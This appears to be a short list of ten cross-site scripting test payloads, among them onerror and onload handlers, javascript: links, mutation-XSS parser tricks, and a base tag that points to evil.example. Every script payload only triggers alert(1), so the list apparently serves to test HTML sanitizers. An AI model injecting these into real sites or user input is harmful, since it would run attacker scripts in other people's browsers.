| 1 |
<img src=x onerror=alert(1)> |
| 2 |
<svg/onload=alert(1)> |
| 3 |
<a href="javascript:alert(1)">x</a> |
| 4 |
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> |
| 5 |
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)> |
| 6 |
<noscript><p title="</noscript><img src=x onerror=alert(1)>"> |
| 7 |
<![CDATA[<script>alert(1)</script>]]> |
| 8 |
<form><button formaction="javascript:alert(1)">x</button></form> |
| 9 |
<base href="//evil.example/"> |
| 10 |
<a href="javascript:alert(1)">entity-escaped scheme</a> |
| 11 |
|